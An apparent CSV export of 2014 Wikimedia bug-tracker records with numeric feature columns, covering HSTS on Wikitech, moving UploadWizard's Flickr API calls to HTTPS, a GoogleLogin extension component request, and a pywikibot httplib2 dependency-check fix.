316944,Enable HSTS (HTTP Strict Transport Security) on Wikitech,"Hi fn84b. Thanks for taking the time to report this!
This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.

*** This bug has been marked as a duplicate of bug 38516 ***",,,1404151827,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-j2mgvpubnvv6rfcdhoqj,task_subcomment,,True,c3,1,True,,,-53,True,2.0,0.0,0.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,7.0,0.0,2.0,11.0,0.0,0.0,2.0,0.0,5.0,2.0,2.0,0.0,4.0,11.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.767857142857143,0.7678571428571429,"Hi fn84b. Thanks for taking the time to report this!
This particular problem has already been reported into our bug tracking system, but please feel free to report any further issues you find.

*** This bug has been marked as a duplicate of bug 38516 ***"
69298,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","It seems like our Flickr API calls match the protocol that was used to access the UploadWizard page, which is mostly fine except when those API calls require SSL. Either we should handle that error message and retry with explicit SSL, use SSL where we know it's required, or just use SSL everywhere.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1404134460,1406106074.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-5dil3s4y3nycavag5tn5,task_description,resolved,True,c3,1,False,False,True,-53,True,0.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,5.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,8.0,1.0,3.0,0.0,0.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,13.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,3.0,3.0,16.0,4.0,4.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,6.0,5.0,8.0,0.0,0.0,0.0,6.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.142857142857143,0.7272727272727273,"It seems like our Flickr API calls match the protocol that was used to access the UploadWizard page, which is mostly fine except when those API calls require SSL. Either we should handle that error message and retry with explicit SSL, use SSL where we know it's required, or just use SSL everywhere.

--------------------------
**Version**: unspecified
**Severity**: normal"
316660,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 148593 merged by jenkins-bot:
Remove flickrApiUrl from $wgUploadWizardConfig

https://gerrit.wikimedia.org/r/148593",,,1406093865,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,"Change 148593 merged by jenkins-bot:
Remove flickrApiUrl from $wgUploadWizardConfig

GERRIT_URL"
316655,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 148593 had a related patch set uploaded by Brian Wolff:
Remove flickrApiUrl from $wgUploadWizardConfig

https://gerrit.wikimedia.org/r/148593",,,1406087114,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-50,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,25.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.4,1.0,"Change 148593 had a related patch set uploaded by Brian Wolff:
Remove flickrApiUrl from $wgUploadWizardConfig

GERRIT_URL"
316650,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it",Backported to REL1_23.,,,1404803404,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,True,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,Backported to REL1_23.
316647,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144584 merged by jenkins-bot:
Point to HTTPS URL for Flickr API

https://gerrit.wikimedia.org/r/144584",,,1404768864,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Change 144584 merged by jenkins-bot:
Point to HTTPS URL for Flickr API

GERRIT_URL"
316642,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144583 merged by jenkins-bot:
Point to HTTPS URL for Flickr API

https://gerrit.wikimedia.org/r/144583",,,1404768860,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Change 144583 merged by jenkins-bot:
Point to HTTPS URL for Flickr API

GERRIT_URL"
316638,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144582 merged by jenkins-bot:
Point to HTTPS URL for Flickr API

https://gerrit.wikimedia.org/r/144582",,,1404768853,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Change 144582 merged by jenkins-bot:
Point to HTTPS URL for Flickr API

GERRIT_URL"
316633,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144584 had a related patch set uploaded by Gilles:
Point to HTTPS URL for Flickr API

https://gerrit.wikimedia.org/r/144584",,,1404768631,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,38.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.190476190476191,1.0,"Change 144584 had a related patch set uploaded by Gilles:
Point to HTTPS URL for Flickr API

GERRIT_URL"
316628,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144583 had a related patch set uploaded by Gilles:
Point to HTTPS URL for Flickr API

https://gerrit.wikimedia.org/r/144583",,,1404768572,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,38.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.190476190476191,1.0,"Change 144583 had a related patch set uploaded by Gilles:
Point to HTTPS URL for Flickr API

GERRIT_URL"
316622,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144582 had a related patch set uploaded by Gilles:
Point to HTTPS URL for Flickr API

https://gerrit.wikimedia.org/r/144582",,,1404768343,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,38.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.190476190476191,1.0,"Change 144582 had a related patch set uploaded by Gilles:
Point to HTTPS URL for Flickr API

GERRIT_URL"
316616,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","That fixed up the issue I had with the Jenkins job https://integration.wikimedia.org/ci/job/mediawiki-core-extensions-integration/66/testReport/(root)/ (search for flickr).

Also fixed a pending patch for UploadWizard: https://gerrit.wikimedia.org/r/#/c/138183/


All good to me. Thank you!",,,1404755416,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,True,,,-52,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,24.0,0.0,0.0,11.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,14.0,11.0,0.0,0.0,0.0,8.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,3.4594594594594597,0.8648648648648649,"That fixed up the issue I had with the Jenkins job URL (search for flickr).

Also fixed a pending patch for UploadWizard: URL


All good to me. Thank you!"
316612,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144448 merged by jenkins-bot:
Point to HTTPS URL for Flickr API

https://gerrit.wikimedia.org/r/144448",,,1404753115,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,"Change 144448 merged by jenkins-bot:
Point to HTTPS URL for Flickr API

GERRIT_URL"
316608,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it","Change 144448 had a related patch set uploaded by MarkTraceur:
Point to HTTPS URL for Flickr API

https://gerrit.wikimedia.org/r/144448",,,1404751505,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,38.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,1.0,"Change 144448 had a related patch set uploaded by MarkTraceur:
Point to HTTPS URL for Flickr API

GERRIT_URL"
316603,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it",*** Bug 67584 has been marked as a duplicate of this bug. ***,,,1404751485,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,False,,,-52,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 67584 has been marked as a duplicate of this bug. ***
316598,"Flickr API method=flickr.photos.licenses.getInfo requires SSL, we don't use it",Flickr => blocking bug 43450,,,1404210714,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-5dil3s4y3nycavag5tn5,task_subcomment,,True,c3,1,True,,,-53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,4.0,1.0,Flickr => blocking bug 43450
69132,Create extensions component for GoogleLogin?,"Hello!

is it possible to create a component in MW-Extensions for GoogleLogin, please?

https://www.mediawiki.org/wiki/Extension:GoogleLogin

Thanks for reply
Florian

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1403789520,1403795876.0,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,False,PHID-TASK-3v73suzw5sck6sltuf55,task_description,resolved,True,c3,1,True,False,True,-53,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,20.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,2.0,9.0,9.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.911111111111111,0.6888888888888889,"Hello!

is it possible to create a component in MW-Extensions for GoogleLogin, please?

URL

Thanks for reply
Florian

--------------------------
**Version**: unspecified
**Severity**: normal"
308525,Create extensions component for GoogleLogin?,"TOP, thanks :)",,,1403796134,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-3v73suzw5sck6sltuf55,task_subcomment,,True,c3,1,True,,,-53,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"TOP, thanks :)"
308520,Create extensions component for GoogleLogin?,"Yes! I've added the extension in Wikimedia Bugzilla and set you as default CC. I've also updated https://www.mediawiki.org/wiki/Extension:GoogleLogin to link to the list of bugs in the info box.

Happy hacking!",,,1403795876,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-3v73suzw5sck6sltuf55,task_subcomment,,True,c3,1,True,,,-53,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,5.0,0.0,3.0,16.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,21.0,0.0,3.0,8.0,0.0,0.0,5.0,0.0,3.0,3.0,0.0,0.0,8.0,16.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.473684210526316,0.7894736842105263,"Yes! I've added the extension in Wikimedia Bugzilla and set you as default CC. I've also updated URL to link to the list of bugs in the info box.

Happy hacking!"
68618,httplib2 dependency check doesnt work,"Running any script or entry point results in a backtrace.

$ PYTHONPATH="".."" python scripts/basic.py
Traceback (most recent call last):
  File ""scripts/basic.py"", line 26, in <module>
    import pywikibot
  File "".../pywikibot/__init__.py"", line
486, in <module>
    from .page import Page, ImagePage, Category, Link, User, ItemPage,
PropertyPage, Claim
  File "".../pywikibot/page.py"", line 17,
in <module>
    import pywikibot.site
  File "".../pywikibot/site.py"", line 31,
in <module>
    from pywikibot.data import api
  File "".../pywikibot/data/api.py"", line
13, in <module>
    from pywikibot.comms import http
  File "".../pywikibot/comms/http.py"",
line 31, in <module>
    from httplib2 import SSLHandshakeError
ImportError: No module named httplib2

Even invoking threadedhttp.py, which includes a dependency check, fails before the dependency check.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1402764360,1403533595.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-vvbioabs65y634i4id6v,task_description,resolved,True,c3,1,True,False,True,-55,True,0.3333333333333333,0.0,0.0,0.0,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,4.666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,1.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,15.666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,0.0,8.666666666666666,0.0,0.3333333333333333,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,4.666666666666667,8.333333333333334,0.0,5.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,4.333333333333333,3.9770474700052163,0.5790949400104329,"Running any script or entry point results in a backtrace.

$ PYTHONPATH="".."" python scripts/basic.py
Traceback (most recent call last):
  File ""scripts/basic.py"", line 26, in <module>
    import pywikibot
  File "".../pywikibot/__init__.py"", line
486, in <module>
    from .page import Page, ImagePage, Category, Link, User, ItemPage,
PropertyPage, Claim
  File "".../pywikibot/page.py"", line 17,
in <module>
    import pywikibot.site
  File "".../pywikibot/site.py"", line 31,
in <module>
    from pywikibot.data import api
  File "".../pywikibot/data/api.py"", line
13, in <module>
    from pywikibot.comms import http
  File "".../pywikibot/comms/http.py"",
line 31, in <module>
    from httplib2 import SSLHandshakeError
ImportError: No module named httplib2

Even invoking threadedhttp.py, which includes a dependency check, fails before the dependency check.

--------------------------
**Version**: unspecified
**Severity**: normal"
297324,httplib2 dependency check doesnt work,"Change 139604 merged by jenkins-bot:
Fix httplib2 dependency check

https://gerrit.wikimedia.org/r/139604",,,1403448985,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vvbioabs65y634i4id6v,task_subcomment,,True,c3,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.733333333333333,1.0,"Change 139604 merged by jenkins-bot:
Fix httplib2 dependency check

GERRIT_URL"
297316,httplib2 dependency check doesnt work,"Change 139604 had a related patch set uploaded by devunt:
Fix httplib2 dependency check

https://gerrit.wikimedia.org/r/139604",,,1403238879,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-vvbioabs65y634i4id6v,task_subcomment,,True,c3,1,False,,,-54,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,39.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,"Change 139604 had a related patch set uploaded by devunt:
Fix httplib2 dependency check

GERRIT_URL"
297308,httplib2 dependency check doesnt work,"Change 139604 had a related patch set uploaded by John Vandenberg:
(bug 66618) Fix httplib2 dependency check

